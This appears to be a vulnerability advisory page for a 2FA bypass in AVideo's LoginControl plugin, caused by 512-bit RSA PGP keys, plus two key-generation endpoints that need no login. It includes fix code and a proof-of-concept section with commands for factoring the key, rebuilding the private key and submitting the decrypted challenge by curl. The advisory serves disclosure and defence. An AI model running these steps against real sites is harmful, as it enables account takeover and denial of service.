GHSA-6m5f-j7w2-w953 CVE-2026-33488
AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin
- Severity
- 7.4 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.26%
- Chance of exploitation in the next 30 days. Higher than 17.89% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-326 Inadequate Encryption Strength
- Fix
- None yet
- No fixed version published
Description
Summary
The createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.
Details
The vulnerability originates in plugin/LoginControl/pgp/functions.php at line 26:
// plugin/LoginControl/pgp/functions.php:26
$privateKey = RSA::createKey(512);
This code was copied from the singpolyma/openpgp-php library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:
-
Key generation: When a user enables PGP 2FA, the UI calls
createKeys()which generates a 512-bit RSA keypair. The public key is saved to the database viasavePublicKey.json.php. -
Challenge creation (
LoginControl.php:520-531): During login, auniqid()token is generated, stored in the session, and encrypted with the user's stored public key:
// LoginControl.php:525-530
$_SESSION['user']['challenge']['text'] = uniqid();
$encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']);
- Challenge verification (
LoginControl.php:533-539): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check:
// LoginControl.php:534
if ($response == $_SESSION['user']['challenge']['text']) {
Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.
Unauthenticated endpoints (compounding issue):
generateKeys.json.php does not include configuration.php and has no authentication check:
// plugin/LoginControl/pgp/generateKeys.json.php:1-2
<?php
require_once '../../../plugin/LoginControl/pgp/functions.php';
Similarly, encryptMessage.json.php has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.
PoC
Step 1: Obtain the target user's 512-bit public key
The public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the users_externalOptions table under the key PGPKey.
Step 2: Extract the RSA modulus from the public key
# Extract the modulus from the PGP public key
echo "$PUBLIC_KEY_ARMOR" | gpg --import 2>/dev/null
gpg --list-keys --with-key-data | grep '^pub'
# Or use Python:
python3 -c "
from Crypto.PublicKey import RSA
# Parse the PGP key and extract RSA modulus N
# N will be a ~155-digit number (512 bits)
print(f'N = {key.n}')
"
Step 3: Factor the 512-bit modulus
# Using CADO-NFS (typically completes in 2-8 hours on a modern desktop)
cado-nfs.py <modulus_decimal>
# Or using msieve:
msieve -v <modulus_decimal>
# Output: p = <factor1>, q = <factor2>
Step 4: Reconstruct the private key and decrypt the 2FA challenge
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
# From factoring step
p = <factor1>
q = <factor2>
n = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))
# Reconstruct private key
privkey = RSA.construct((n, e, d, p, q))
# Decrypt the PGP-encrypted challenge from the login page
# and submit the plaintext to verifyChallenge.json.php
Step 5: Submit decrypted challenge to bypass 2FA
curl -b "session_cookie" \
"https://target/plugin/LoginControl/pgp/verifyChallenge.json.php" \
-d "response=<decrypted_uniqid_value>"
# Expected: {"error":false,"msg":"","response":"<value>"}
Unauthenticated endpoint abuse:
# No authentication required — CPU-intensive 512-bit RSA keygen
curl "https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&keyEmail=test@test.com"
# Returns: {"error":false,"public":"-----BEGIN PGP PUBLIC KEY BLOCK-----...","private":"-----BEGIN PGP PRIVATE KEY BLOCK-----..."}
Impact
- 2FA Bypass: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely.
- Account Takeover: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts.
- Denial of Service: The unauthenticated
generateKeys.json.phpendpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting. - Scope: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin.
Recommended Fix
1. Increase RSA key size to 2048 bits minimum (plugin/LoginControl/pgp/functions.php:26):
// Before:
$privateKey = RSA::createKey(512);
// After:
$privateKey = RSA::createKey(2048);
2. Add authentication to generateKeys.json.php (match the pattern used in decryptMessage.json.php):
<?php
require_once '../../../videos/configuration.php';
require_once '../../../plugin/LoginControl/pgp/functions.php';
header('Content-Type: application/json');
$obj = new stdClass();
$obj->error = true;
$plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl');
if (!User::isLogged()) {
$obj->msg = "Authentication required";
die(json_encode($obj));
}
// ... rest of existing code
3. Add authentication to encryptMessage.json.php (same pattern):
<?php
require_once '../../../videos/configuration.php';
require_once '../../../plugin/LoginControl/pgp/functions.php';
// Add auth check before processing
if (!User::isLogged()) {
$obj->msg = 'Authentication required';
die(json_encode($obj));
}
4. Add minimum key size validation in savePublicKey.json.php to reject weak keys regardless of how they were generated:
// After line 26, before saving:
$keyData = OpenPGP_Message::parse(OpenPGP::unarmor($_REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK'));
if ($keyData && $keyData[0] instanceof OpenPGP_PublicKeyPacket) {
$bitLength = strlen($keyData[0]->key['n']) * 8;
if ($bitLength < 2048) {
$obj->msg = "Key size too small. Minimum 2048 bits required.";
die(json_encode($obj));
}
}
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-326: Inadequate Encryption Strength
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
How to prevent it
- Architecture and Design: Use an encryption scheme that is currently considered to be strong by experts in the field.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor